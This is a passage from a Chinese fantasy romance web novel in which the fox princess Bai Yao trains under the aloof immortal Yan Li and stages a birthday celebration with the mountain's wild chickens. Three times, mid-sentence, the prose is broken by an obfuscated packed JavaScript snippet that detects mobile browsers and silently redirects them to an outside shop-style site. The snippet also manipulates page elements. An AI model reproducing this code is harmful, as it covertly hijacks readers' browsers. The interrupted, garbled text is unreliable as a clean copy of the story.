“我刚才想吃烧烤就自己试了一下,没想到变成了这样。”白瑶眼神透着一丝心虚,见晏离脸色不大好看,眼珠一转:“你该不会要赶我走吧?我不是故意放火的。如果一开始你让我进屋,我就不会在外头搭草棚,不在外搭草棚就不会在这里烧烤,就不会把草棚烧了。”看看这个逻辑,将所有的问题推到了晏离身上。 晏离冷着脸漠然落下一瞥,不与她争辩,动手收拾起残局。虽然他一言未发,但白瑶不知为何身上起了寒意,如果说前些日子晏离对她的闯入有些抗拒,那么刚才的失火便让他的眼底透出了厌烦。 白瑶见他一副冷若冰霜的神情,一只脚落在身后半步掂了掂,心中居然渐渐生出了一丝惧意。她凝眉疑惑地望着晏离,目光别样的认真,似乎想透过晏离冰封的外表,窥见他内心的想法。 晏离对她冒犯的目光视而不见,转身向山外云境走去。 就在院门将要关上的刹那,白瑶突然一闪身想从门缝里挤进来,晏离听见动静侧头对上了她狡黠的目光。 白瑶咬唇眼睛闪着跃跃欲试的光,刚要神不知鬼不觉地蹭进来,就被晏离抓了包,一扬袖被送了出去。 白瑶愤愤地拍了拍那扇紧闭的门:“放我进去会怎样,到底要怎么做才能留下?” 山外云境恢复了寂静,仿佛无人听到她的质问,也不会有回应。 暮色四合,山里气温骤降,薄雾如泛滥烟波,为山林拢上了一层朦胧面纱。 白瑶失去了她的小草棚,只能用仙力燃起一团青绿色的狐火,缩在树丛中望着低悬云上的月牙发呆。按理说以她的修为不会受食欲裹挟,但她临到嘴边的烧烤没了,总觉得少了点什么。 正当她百无聊赖地在丛林中摸索,突然看到盈盈月色下,一团挤在黯淡的绿地中五光十色的红伞菇,在清风中摇头晃脑,模样煞是可爱。她咽了咽喉咙,想起先前在宫中吃过的小鸡炖蘑菇,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137775|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由地伸手去摘。 浓云掩住了月色,山中清冷极了。 暗夜中一双冒着绿光的眼睛,倏而在山林中飞掠而过,空气中隐隐传来草屑细碎的摩擦声,继而引出了几声巨响。 响声很快消沉,山中又恢复了寂静。良久,“哐哐”的砸门声突然在山外云境门前响起。 白瑶哭丧着脸趴在门边,一下接着一下重重敲击在门上,带着哭腔叫道:“晏离哥哥!有狼追我!放我进去!” 寒风拂面,她起了一身鸡皮疙瘩,颤抖着侧头瞥了一眼,立马顿住瞳孔紧缩,转而将身体紧紧贴在门上,更加撕心裂肺地喊叫起来:“不对不是狼!它还长了角!啊啊啊啊啊它站起来了!呜呜哥哥我害怕!” 门外除了她之外毫无动静,她的声响扰醒了山中动物,纷纷探出头不明所以地看着她。 在白瑶的世界里,红伞菇长的漂亮又多汁,她一口气吃了三个,一转头就见一只眼泛绿光身形健硕的饿狼在黑暗中对她露出了垂涎之色。在迷离月色的照耀下,狼迈着坚定的步伐一步一步从黑暗中走出,露出锋利的牙齿对她哈着粗气。 白瑶哼哼道:“你知道我是谁吗?我是青丘白家的公主,尔等无知小民还不快快退下。“ 狼紧紧盯着她,紧绷着脊背在她四周踱步,鼻头微微耸动,似乎蓄势待发。 白瑶不满道:“听不懂话吗?我叫你退下。” 狼抬腿便朝她靠近了一步,张开血盆大口冲着月亮高昂地嚎叫一声,那声音越过山林穿过云层,如同一记惊雷在白瑶脑海中炸裂。 她蹙眉后退半步,心道不对呀,有苏先生不是说白家人对青丘的生灵有血脉压制吗?它怎么好像一点也不怕我? 狼尖利的爪牙在月色下泛着冷酷无情的光辉,撑直了身体猛地向她扑来,白瑶见势不妙拔腿就跑,跑出几百米才想起来自己可以用仙力。扭头对着身后紧追的狼拍下一掌,白色光芒于黑暗中轰然乍现,却如同镜面折射一般,绕过了狼矫健的身体。 白瑶又故技重施,却怎么也瞄不准。 她胸口剧烈起伏,额上冒出细密的汗珠,身上忽然像是沾了水的棉花一般软弱无力。 狼张口向她扑来,她提起一口气想一飞冲天,却连脚也抬不起来。她心里一凉,转身向山外云境奔去。那栋坐落在山顶的宅地似乎长了脚,随着她的奔跑也跟着向远处飘去。 白瑶在山间跑着兜圈,跑得上气不接下气,终于让她追上了山外云境。她用力拍打着门,此时顾不得会打扰晏离,声音夹杂着一丝惊恐。 可晏离迟迟没有回应。 她好似听见野兽在身后低喘,心悬在了嗓子眼,悄悄向身后看去。 在她瞳孔的倒影中,狼一步一步走向她,笼罩在身上的黑影越来越庞大,头顶生长出了如同犀牛一般的尖角,匍匐的身体渐渐直立起来...... 晏离被门外的哭叫吵醒,穿着单薄的睡袍轻轻推开门,蹙了眉冷眼看向门边精神萎靡的白瑶。她哭得十分可怜,一张巴掌大的脸皱成一团,肩膀随着啜泣剧烈地耸动。 白瑶一见他,一双红肿的眼睛迸发出希望的光,像是抓住了一棵救命稻草。她躲去晏离身后,指着门外空无一物的林间小道,委屈地喊道:“晏离哥哥,那只狼追了我两个山头,怎么都不放过我!你这里的狼怎么会走路啊!” 晏离迟疑了一下,问:“哪里有狼?” 白瑶歪了歪头:“就在那里!你看,它正长着口要扑过来呢!啊啊啊啊啊晏离哥哥小心!”她猛地撞开晏离,将毫无防备的晏离挤到了门边。 这个罪魁祸首撞完后,幽幽抬起头,满脸担忧地问:“晏离哥哥你还好吗?有没有被狼咬到?”神情不像是演的。 晏离伸手在她额前轻轻一拂,喃喃:“原来是吃了红伞菇。” 白瑶似乎还沉浸在她的世界里,站起身对着清净的山林说:“不管你是什么东西,今天都不能放你进去......”她颈后浮现一阵亮光,突然向后倒去,晏离在身后接住了她。 红伞菇的毒性很强,若是沉浸在幻境中太久,会对记忆有损伤。晏离不得不引狼入室,将白瑶带入山外云境休养。 112. 第 112 章 白瑶如愿以偿,但山外云境未满足她的好奇心,晏离晨起还打扰了她的作息时间。 时间一久,白瑶发现晏离每日清晨都会离开一阵子,不由又被勾起了兴致。她偷偷跟着晏离来到一片空旷处,躲在附近的草丛里暗中观察。这一看不得了,竟然让她看出了些门道。 晏离继承了白家的传统仙术,又在山中修行时悟出了自己独特的章法。青丘独立于天庭与魔域,白家的仙术讲究化整为零,以柔克刚,以不变应万变。而晏离的道法则是天地如一,刚柔并济,变也是不变。 晏离一身白袍屹立与山间,在层峦叠翠中像一只孤傲的白鹤,一行一立,无不透露着仙术的卓绝。 他一手负在身后,一手推向前,清风拂过他飘扬的长发,一股纯净的仙力从他掌中飘逸而出。那股仙力看似无形,当他们逐渐弥漫至包围猎物时,便凝成了一股坚韧的绳索,将猎物围困其中、动弹不得。 他神色平静,清俊的眉眼透着淡然,浅色的唇瓣微抿,看不出一丝波澜,仿佛一切都在他的掌控中。 须臾,他将手抽回,强劲的仙力在林间游走,成片的树木像经历了风暴的洗礼向四周倾斜。气流怒卷、尘土飞扬、树叶哗哗作响。而他依旧不染纤尘,不被周遭喧嚣打扰,在狼藉之中格外显眼。 白瑶看呆了,就算她从小在宫中能人异士见过不少,也被晏离清新的气质扼住了呼吸。她看看晏离单调纯净的白衣,再低头瞅瞅自己身上看似华丽的裙裳,突然有一丝怪异的感觉。如果她不是生在宫中,若是她自己选择,她会出现在哪里?她会变成什么样子? 白瑶不由有些挫败,如果离开长乐宫她还能潇洒得起来吗?一时想得入迷,没发现周围的动静,等身后风吹草动时,一记寒光已经笼罩下来。 白瑶倒吸一口冷气,惊叫卡在喉头,肩膀被人一搂,突然离地数米。 穿过层层树叶,刺眼的光兜头笼罩下来,白瑶撇开头望向地面,刚才她待的地方已经夷为平地。 白瑶缩了一下脖子,扭头一看,晏离冷漠的侧脸近在咫尺。 她伸出手戳了戳晏离的脸颊。 “你在做什么。”森冷的声音传来。 白瑶匆匆收回手:“哦,我想试试你的脸是不是像冰块一样又硬又冰。”嘶,怎么就说出来了......晏离的脸色一沉,白瑶从空中自由落体:“啊——” 一团白气在她快要接触地面时在她身下虚虚托了一下,仙力护体,白瑶跌坐在草堆上,对着空中的人影怒吼:“不就是摸了你一下,又没有少块肉,有必要这么矫情吗?” 远处的兔子直起身竖起耳朵抖了抖,惊恐地跑开了。 晏离原本以为白瑶在这片荒山逗留几日便会觉得无趣,谁料想她不仅一住小半年,现在又想了新的法子留在这里。 自从白瑶见识了晏离修炼,发现他的仙术与自己在宫中接触的略有不同,便产生了强烈的好奇心,天天趁着晏离早起,偷偷跟去树林暗中观察。 晏离一直知道她的动静,但她没有惹事,他便不予理会。直到白瑶看了一段时间,发觉光看不够,突然对他说:“我觉得你的仙术甚好,不如教教我吧。” 晏离的仙术虽承自白家,但现在已经自成一体。白瑶是未来的青丘之主,学的必然是纯粹的白家仙术。 晏离没有多想便拒绝了。 他越是不答应白瑶越是想学,她觉得自己从来没有对学习这么感兴趣过,居然还有人不同意。没有人能阻止白瑶突如其来的求知欲,晏离不教她,难道她就不能偷偷学吗? 偷学仙术是件极其危险的事情,特别是两套不同的体系,既有相似之处又有区别。其中的辩证统一、低级向高级的转化,饶是晏离也花了数百年才练就。白瑶偷偷练了一个月,差点把自己练得走火入魔。 走火入魔倒也没有,毕竟晏离在旁边若有若无地盯着,但身体上的折磨少不了。白瑶高烧七天,躺在床上意识混乱、整日哼哼唧唧。 白瑶从小到大都有侍者在身前身后伺候着,偶尔生病更是衣来伸手饭来张口。 山里条件简陋,晏离又是疏离之人,白瑶不省人事几日晏离才发现有异。 晏离站在她的房门前迟疑半晌,轻轻推开门走进去,瞥见白瑶烧得晕晕乎乎,红彤彤的小脸从被子里露出来,微张着嘴冒着热气。 见惯了白瑶平日无理的样子,现在总算安静下来了。 她的模样其实生的秀气,在安静的时候显得十分乖巧,像只小狐狸。但是只要一睁开那双灵动的眼睛,小脑袋就不知道又在想什么鬼主意。 “热......”白瑶一脚踢向被子,软弱无力的腿一下没将被子踢开,又继续蹬了几脚。门外清风卷入,扰乱了她额前的碎发,她发出嘤嘤的声音,脸上的红润更重了几分。 晏离望着褪下一半的被子,脑海中闪过片刻恍惚。虽然他希望白瑶知难而退,快点离开这里,但白瑶毕竟是青丘的小殿下,若是在自己这里烧坏了脑袋,委实没有必要。 他躬下身,缓缓伸出冰凉的手,将被子拉上去,想要抽离时,突然被白瑶一把抓住。 白瑶烧得正热,晏离冰凉的手就像炎炎夏日的一口凉水,她迷迷糊糊微睁开眼,无意识地笑了一下,继而小手紧紧勾住晏离的手指。 “哥哥...... “不要赶我走好不好......” 这一声哥哥叫得轻巧,像小猫懒洋洋的呓语,让本想抽回手的晏离停下。 晏离抽出手:“你先休息。” 白瑶掐着晏离的指尖不准他走,眼中像是蒙上了一层薄雾:“我知道你很厉害,我要拜你为师。 “教教我......” 晏离迟疑了一瞬:“真的想学?” 也不知白瑶是不是意识清醒,重重点了点头,在枕头上蹭了蹭:“学!不学白不学!”然后缓缓闭上眼睛,心满意足地睡过去,不给人留任何拒绝的余地。 晏离哑然,心想白瑶或许只是一时好奇,等她真的开始修炼,一定无法忍受修炼的艰苦。那时,她自然就会走了。 白瑶身体日渐恢复,在偶然尝了晏离煮的粥后,大赞他手艺高超,又明里暗里表达了自己对山里野鸡的憧憬,希望晏离能在做饭时能稍稍考虑一下她的爱好。 不说还好,一说倒像是提醒了晏离。某日晏离对她说:“你若想跟着我学仙术,便要遵守我的规矩,你可能做到?” 白瑶先前烧得糊涂,对晏离有没有答应教她没有印象,这几天正在犯嘀咕。一听晏离这话,看来八九不离十是要成了!赶紧点头应道:“不就是规矩,我在长乐宫见识的可多了。” 晏离微微颔首,说道:“每日须得三更睡五更起,不能有出格的言行举止,不能沾荤腥。” 白瑶眨了眨眼睛:“我还是第一次听到你一口气说这么多话。” “不对!你这规矩也太多了吧!你这不是规矩,你是故意折磨我!”白瑶反应过来。 晏离抬眼看她:“你可以不学。” 那副样子就好像是“是你求着我教的,爱学不学”。白瑶眉间一蹙,嘴角向下一撇,欲哭无泪,用极其悲壮的声音问:“真的不可以吃鸡吗?” 没有得到晏离的回答,白瑶扭头去看院外散步的野鸡,眼中爆发出留恋与不舍的凶光,吓得野鸡扑腾了几下翅膀,差点飞起来。 白瑶的修炼生活正式展开。 修炼的日子总是很艰苦,每当她想要偷懒晚点起床时,一身白衣的晏离就会像阴魂一样出现在她的窗口,冷声问:“不学了?” 白瑶紧紧攥着被子,与困意做殊死搏斗,咬牙切齿地说:“学,必须学!” 眼下青色的眼圈越来越重。 晏离说要从基本功开始训练,于是在院子内立了几个桩。白瑶想不就是站桩,飞身一跃立在高处。 晏离悠悠飘至与她平齐:“往后每日清晨站桩两个时辰,直到太阳高挂。”他淡淡瞥了白瑶一眼,补充道:“不准用仙力。” 白瑶瞳孔一震:“两个时辰?还不能用仙力?” 晏离平静地看着她:“不行?” 白瑶犹犹豫豫地说:“行......吧......” 白瑶在宫中练过站桩,但总是不安分,常常站在桩上看着园内忙前忙后的侍从,喋喋不休地调侃。但深山中没有侍从,近日连小动物都鲜少出现在院子周围,她又不敢调侃晏离,时间越发难熬。 晏离让她练站桩,一方面是锻炼基本功,另一方面是锻炼她的定力和耐力。白瑶天资不错,但做事不讲究细节,缺乏定力与耐心。 晏离坐在院子里的木桌边看书,余光停在白瑶身上,观察着她的一举一动。看着她在空中百无聊赖地扭动僵硬的腰肢和脖子,断断续续地唱着不着调的歌,蹲在桩上烦躁地挠头发...... 白瑶在桩上从天黑站到天亮,看着明晃晃的日头慢慢爬上天际。清风拂过,身上陡然一凉,背后竟然冒了一层虚汗。下一秒,她仿佛失了全身力气,身子一歪,差点从桩上掉下来。 然而摇晃几下,她又悄悄站稳了,偷偷看向晏离,看到他依旧在专注看书,松了一口气。她可不能让晏离发现她连站桩都坚持不了。 站桩结束,白瑶像是被扒了一层皮,整个人步若虚浮,冷汗直冒。她勉强在晏离跟前站定,说:“我已经站完桩了。接下来呢?” 晏离垂眸从她颤抖的双腿扫过:“白家的心法你可有读过?” 白瑶点了点头:“自然读过。” “白家的心法一脉相承,万变不离其中,只是读过不行,要铭记于心。” 白瑶似懂非懂:“我记得挺牢的。” 晏离:“学习要虚心。” 白瑶:“你不信?我们比试比试?” 她此时的身体状况显然不适合比试,晏离对她的认识又多了一层喜欢逞能。 晏离:“每日去山里的瀑布下静坐,将心法默记五十遍。” 若说刚才站桩是对白瑶身心的双重折磨,那么去瀑布下修炼心法就是对她身心灵的三重摧残。 白瑶在宫中练功都是名师精心设计,考虑得面面俱到,让小殿下轻松学习快乐成长。目及之处尽是琼楼玉宇、锦绣华团,创造最温馨的氛围和最舒适的环境。 在晏离这儿就顾不得这么多了,深山之中除了树还是树,哦不还有草。 瀑布汹涌澎湃地拍打在身上又冷又痛,水声在耳边哗哗作响,挤压着四周的空气,白瑶不一会儿就濒临崩溃。小身板在水流的冲击下缩成一团,瑟瑟发抖。 白瑶脸色惨白,牙齿止不住打颤,别说什么心法了,脑海中的词汇连成句子都难,还谈什么集中注意力。 晏离落在瀑布旁,见到白瑶惨兮兮的样子眼中依旧波澜不惊,只是走到瀑布另一头的巨石上从容地盘腿坐下,纵使恢弘的水流击打在身上,他挺立着胸膛巍然不动。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137776|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身板并不算强壮,但在湿透的外衫之下,那若隐若现的线条却坚硬有力。 他闭上双眼,冷峻的面容在水流的冲刷下依旧神情淡然,湿透的长发和衣袍贴在身上,却没有半点香艳之色,仿佛一座静默的神像,而身上的痛感只是错觉,周遭弥漫的水雾犹如渺渺云烟。 白瑶咬着牙看着他,心中的震撼分不清是来自瀑布的冲击还是别的什么。 好痛啊......为什么他能够那么淡定...... 一个慌神,白瑶被巨大的水流从石头上冲刷下来,滚入冰冷刺骨的湖水中,在混沌的水中翻了个跟头,又被流水的力量向远处推去。 晏离睁开眼,目光跟随着白瑶在水中起伏的身影。 仿佛与外界隔绝,白瑶在水中眯睁着眼睛,湖水中昏暗无比,头顶上方细微的光芒投射下来。 耳边终于安静下来,水流渐渐柔和,她的心也渐渐沉淀。 一个浪翻过来,她被挤上湖面。 “哈——”白瑶大口喘息,双手拍打着水面:“救命!我不会水!” “啊——”眼见水流将她越卷越远,顺着山势向下漂去。一抹白影若惊鸿在水面轻点几下,轻柔地带起白瑶,落在旁边的草地上。他手上一松,白瑶一屁股坐在地上,才发觉自己的腿已经吓软了。 白瑶重病初愈,这么一折腾又虚弱了不少。 为了让白瑶更快适应山里的环境,晏离又在此基础上增加了一项跑山,每日需要从山下至山上跑一个来回。 自从神仙有了仙力,便大多不太注重体能了,但仙力并不是随时可以调用的,如若太依赖仙力,就会忽视自身的力量。而自身的力量强大起来,仙力便会更加深厚。 白瑶不是没有怨言,她只要逮着机会就会与晏离作对,但晏离只需要一个眼神,就会让她知道自己的埋怨并没有什么作用,该做的训练一个也不会少。 出人意料的是,白瑶居然渐渐坚持下来了,不过也有一些插曲。 一天夜里,晏离和衣而睡,听到门外有轻微的声响,在黑夜中睁开眼睛。静默了一会儿,门外的声音向远处飘去,他立刻起身追出门外,跟随了数十米,在丛林深处看见了一簇幽幽火光。 一个瘦小的身影蹲在火光旁舔着手指,完了拍拍手,狠狠朝火苗踩了几脚,生生将火苗踩灭了。空气中飘来一丝油腻的香气,她打了个饱嗝,心满意足地转身往回走。余光瞄到一抹白色,浑身一颤,警惕地抬起头...... 白瑶看到晏离沉着脸,吓得目光四处躲闪,没找到藏身之处,只能悠悠站定咽了咽喉咙,抬手打招呼:“师父,这么晚了出来做什么?”脸上还沾着半根鸡毛。 她破坏了规矩,晏离可以顺理成章地将她赶出去,这就是他一开始的打算。但不知为何,他看到她如此不成气候,心里隐隐有些郁结与失望。 他深吸一口气平复了心里莫名其妙的情绪,说:“回去吧。” 白瑶弯了弯眼角,看似轻松地跑过来:“好呀。”说着,向山外云境走去。 身后,清冷的声音伴随着寒风而来:“回长乐宫。” 白瑶脸上的笑意一僵,脚步停下来,想回头但是又有些害怕。 “我不。” “你没有遵守规矩。” “我忍不住......” “区区食欲都无法克服,你要如何修炼?” 白瑶心口一抽,回头望着昏暗中的人影,倔强道:“食欲又不是什么不好的事情,为什么要克服?” 清冷的声音道:“对神仙来说,食欲是不必要的。” 白瑶知道很多神仙为了修炼摒弃欲望,对食物不感兴趣,但你不感兴趣,别人感兴趣啊!她愤懑地说:“不遵守规矩是我不对,但食欲本身是没有错的。” 晏离冷沉地望着她,沉默须臾,道:“你走吧。” 白瑶还想与他争辩,但晏离没有理会她便回屋歇息。 之后一连几日,白瑶照常起床修炼,不论她做的再努力,晏离也没有多看她一眼。一开始她也赌气,不与晏离说话,但晏离能一人在深山中静默数千年,她可不行。 几日不讲话她快憋疯了。 山里的野生动物都很有灵性,察觉到晏离好像并不是很欢迎白瑶,都对她避而远之。 她在小溪边玩水,看着溪水中自己的眉目,思索着自己为什么要留下。一开始或许真的只是出于好奇,时间久了就变成了一种意志。 为什么晏离能够孤身一人在外修行而她不行? 为什么晏离能坚持早起而她不行? 为什么晏离能控制自己的欲望而她不行? 她才是未来的青丘之主。连晏离都无法超越,未来如何掌控更加复杂的格局?她一定不能半途而废,不能让这个冰块脸看轻自己。 她跳起来对远处路过的鸡叫道:“你自由了——”然后“噔噔噔”跑回山外云境,对晏离说:“师父,我想明白了,虽然我不赞同你的规矩,但我以后一定会好好遵守。再给我一次机会。” 她的眉目之间透着坚定与执着,晏离前一秒还想又在信口开河,后一秒突然涌上一股说不出的滋味。 不赞同但是能做到......晏离细细琢磨了一遍,对白瑶好像有一点点新的认识。 “师父,你一个人在山里多无聊啊,我留下来陪陪你不好吗?” “不必。” “没事儿,我不介意。” 113. 第 113 章 清晨,一个轻盈的人影越过山头,白色的衣裙在枝叶间隙一晃而过,犹如一只灵动的云雀。在山中慢跑的白瑶悄悄停在山林中,眼睛泛着狡黠的光,小心翼翼地左右瞄了瞄。 鸟儿在枝头清脆地啼鸣,扑打着翅膀向远处飞去。 阳光稀疏地穿过叶间间隙,在落叶上形成了一条阴阳相交的轨迹。白瑶顺着光走,边走边四处张望,竖起耳朵听着四周的动静,神色似乎有些紧张。 忽然,一阵扑腾的声音响起,白瑶眼神一凌,脚步轻点几下,身影消失在原来的地方。卷起的微风带起几片落叶。 另一边,她的身影突然在半空中闪现,伸手掐住那扑腾的东西,暴扣在地上。几片羽毛从眼前飘落,而她手中挣扎的分明是只鸡。 难道她还贼心不死妄图破戒吃鸡? 当然不是。 她在翻阅晏离的藏书时,不经意发现了他的生辰。 之前不知道也就罢了,现在知道了必然要操办一番。生日宴若是不能办的出彩,不如不办,但山里条件简陋,比不得长乐宫物资富饶,如何才能因地制宜、物尽其用就成了一个难题。 自从晏离不准她吃鸡后,山里的野鸡嚣张极了,居然敢大摇大摆地从山外云境门口路过。路过就算了,居然还敢停下来瞪着豆豆眼与正在“望梅止渴”的白瑶对视,实在太欺负人了。 白瑶灵机一动,这次她一定要大张旗鼓,将整个山头的鸡都赶来为师父祝寿。 到时候整座山的鸡放肆齐鸣,一定能让晏离此生难忘! “和你们领头的说了?”白瑶凑近了手中的鸡后脑勺低声问。 鸡豆豆眼一翻,咕咕咕叫个不停。 “什么?它不同意?这一年我可没得罪它,真应该找个机会把它下锅了。” 鸡浑身颤抖。 “行了,带我去见它,我还不信我叫不动几只鸡。” 鸡僵硬地从白瑶手中挪开自己的脖子,然后三、二、一......一溜烟跑走了。白瑶紧跟其后,越过山头,跑进了一个矮小的山窟。 说是小山窟,只有一米来高,白瑶弓着身走进去,挡住了外面的光线,没走几步就到头了。山窟里铺着些杂草,几只下蛋母鸡被惊得挤一团。 刚才那只送信鸡就在前头,咕咕咕咕地冲里头叫个不停。 山窟尽头的黑暗中,迈出一只鸡脚,然后一只身形健硕的大公鸡迎着微弱的光线走出来,蔑视群雄地扫了一眼白瑶:“咕咕咕咕。”它是在问你哪位。 白瑶看着这鸡肠子都酸了,这要是清炖得多鲜美。唉,可惜不能吃。 “我是青丘白家白瑶。” 白家在青丘的统治地位,青丘的动物妖怪多少是有些了解的。领头鸡的豆豆眼打量了她一会儿,猛然跳起煽动翅膀,爆发出一连串的“咕咕咕咕咕。”你要是白瑶我就是公子鸢! 白瑶眼皮跳了跳,声音压着怒气:“你说什么?” 山窟里的气氛陡然一紧,一股威压横扫本来就不算宽阔的空间,让众鸡压力倍增,不敢喘息。领头鸡察觉不对:“咕咕咕你真是白瑶?” 白瑶点点头:“我这次来是为了晏离的生辰。” 晏离在山外云境居住数千年,一直与山里的动物井水不犯河水。他生性冷淡,与周遭的生灵谈不上什么交集,顶多是低头不见抬头见的邻居。但山中有此缥缈出尘的仙人对整座山而言都是一种荣耀,相较其他平平无奇的山头,多了一份可以出门炫耀的谈资。所以山里的动物都对他敬爱有加,知道他喜静,平日也会收敛许多。 领头鸡犹豫了一会儿,目光往洞里众鸡身上一瞟:“你想抓只鸡给他做寿?”旁边的众鸡害怕地向后退去。 白瑶摇摇头:“不,是整座山的鸡。” 这次连领头鸡与众鸡一齐抖了三抖。 领头鸡连连摇头:“咕咕!不行行,这不可能。你这是要灭了整座山的鸡,我就算与你拼命也不会让你得逞。” 白瑶不明白它为什么突然激动,只道它不同意,一挑眉问:“你要打架?” 领头鸡看了一眼周围对它抱有期望眼神的众鸡,心一横:“咕咕!想带走我的兄弟姐妹,先从我身体上跨过去!” 果然是只好鸡!众鸡在一旁热泪盈眶。 林间空地,白瑶与领头鸡分置两端,十米开外,围了一圈又一圈野生跑山鸡。 白瑶是清晨修炼中途偷跑出来的,要速战速决回去练功,不能让晏离发现端倪。领头鸡张开自己油光水滑的羽翼,在灿烂阳光下泛着微光,它扬首高声咕咕咕了几声,周围的鸡群差点潸然泪下。 白瑶一脸怔然,这些鸡招摇的架势怎么比她还足? 话不多说,白瑶的身影随风而动,一击暴扣,风停叶落。领头鸡被掀翻在地,两眼晕眩,鸡脚朝天。 周遭一片寂静。 鸡群突然明白了一个道理,就算白瑶平日里只是追着它们满山头跑,其实她也是有能力将它们一网打尽的。鸡群顿时开始焦躁不安,咕咕咕咕叫个不停。 “都别吵!咕!”领头鸡倒在地上说:“咕咕!也许这就是我们的命数。成王败寇,我认了。说罢,你想怎么杀了整山的鸡?” 白瑶蹲下来戳了戳领头鸡的翅膀:“谁说要杀你们了?我只是想邀请你们一同去给晏离祝寿。难怪你要与我决斗,你以为我要吃整座山的鸡?” 领头鸡眨了眨眼睛,望向周围困惑的鸡群:“哈哈哈哈原来是这样。”拉过白瑶在她耳边悄声说:“你怎么不早说!咕!”害它白白挨了一拳。 “帮是不帮?”白瑶与领头鸡小声嘀嘀咕咕,达成合作。 几日后的夜里,山外云境外白瑶腾空而起,在院外树梢上略过,于天际释放出自己的仙力,精准地打掉了千米开外一颗歪脖树上的野果。 千里击石并不算难,但除了那颗落地的果子,仙力一路穿行竟是一片树叶也未殃及。她悠悠落地,冲不远处观望的晏离得意道:“师父,怎么样?我是不是又进步了不少?” 晏离淡然地应了声,好似这一切都是理所当然。 白瑶知道晏离的脾气,想从他那儿听到一句好话比登天还难,她转了转眼珠:“师父,厨房的水是不是烧开了?你快去看看。” 她嘴角噙着笑,亮晶晶的眼睛似乎偷偷藏了星星。晏离知道她定是有事,但也没有戳穿,转身向厨房内走去。 晏离一转身,白瑶立刻回头向树林深处招手。 林深幽暗处,一片寂静,陡然冒出了两点微弱的光芒,继而又是两点,然后越来越多、越来越密。鸡成群结队地从林中跑出,训练有素地跃过矮草,在山外云境门外三层外三层团团围住。 看上去真像那么回事儿。 像哪回事儿?不知道,就像是煞有其事。 厨房内烧水的壶空荡荡地搁置在一边,晏离听到院外的动静,已然猜到个几分,等院外的动静渐渐停止,他便向外走去。 晏离穿过门,望向四周,停滞了几秒。 她究竟在做什么? 他一时想不透。 院外围着数十只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137777|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡,白瑶的怀里还有一只。鸡群与白瑶一同,目光熠熠地望着他。 白瑶放声大叫:“师父!生辰快乐!我带整座山的鸡来给你祝寿!祝你岁月不改仙颜俏,天界第一仙术妙!” 第一圈鸡群围上来,咕咕咕咕一鞠躬,然后向两边散去。然后第二圈、第三圈...... 鸡群扑腾着翅膀,制造出哗哗作响的音效,然后整齐划一地咕咕咕咕。叫声绕梁,可谓声势浩大。 山外云境从来没有这么热闹过,仿佛过年一般,叽叽喳喳吵个不停。 远处路过的鸟儿好奇地落在枝头,兔子从草丛间探出头来眺望声音的来处,溪水中的鱼浮上水面倏而一摆尾向另一侧游去。 一番贺寿节目结束后,众生物一齐满怀期待地望着晏离,等待着他流露出哪怕一丁点的感动或欣喜。 晏离哪里见过这样的场面,眼睫微微一颤,面色虽然冷淡,但语气染上了一丝触动:“我没有过生辰的习惯。” 众鸡愣在当场,齐刷刷地扭头看向白瑶。一时间,气氛有些尴尬。 白瑶赶紧笑道:“过生辰哪有什么习惯不习惯的。虽然神仙的寿命无穷无尽,日复一日年复一年,想过多少次就有多少次,但生命的延续本身就是值得庆贺的事情。过生辰是为了庆祝你的诞生,总会有人不计较你是什么样子,不论发生了什么,仅仅因为你存在于这个世上而感到欣慰。若是有人愿意同你一齐庆祝,那是再好不过了。我在宫里时,每年生辰宫里都会张灯结彩热闹非凡,娘娘爹爹会同我一起庆贺,我会收到好多的礼物和祝福,那是我一年中最高兴的一天。” 白瑶放下怀里的鸡,撒娇似的拉起晏离的袖子,眼中燃着一点点希冀:“山里没有什么好东西,所以我只能找来山鸡热闹一下,一年就这一次嘛。” 晏离微微点了头,斟酌了一下说道:“只此一次,下不为例。” 白瑶松了一口气,山外云境再次喧闹起来。 晏离望着眼前热闹的场面,余光看向白瑶潋滟的眸光,就像有颗石子咕咚一下丢进了平静无波的湖水中,泛起了浅浅的涟漪。 他素来喜静,从未有过如此热闹的生辰,他不知白瑶是如何知道了自己的生辰,在修炼之余为他筹备了这一切。若是往日他定然会觉得扰人清静,可看到白瑶期待的眼神后,心里好像并没有那么反感。 白瑶从厨房里拿出自己亲手做的白面坨坨,目光灼灼地看着晏离,说:“这是我第一次做点心,师父你一定要尝尝。” 晏离垂眸在面团上扫过,一眼就看出这是个半生不熟的玩意儿,但却鬼使神差地拿起放入口中。口中确实生涩难嚼,若是平日他根本碰也不会碰。 “好吃吗?”白瑶望着晏离的眼睛,企图捕捉到他神情的变化,但是没有。 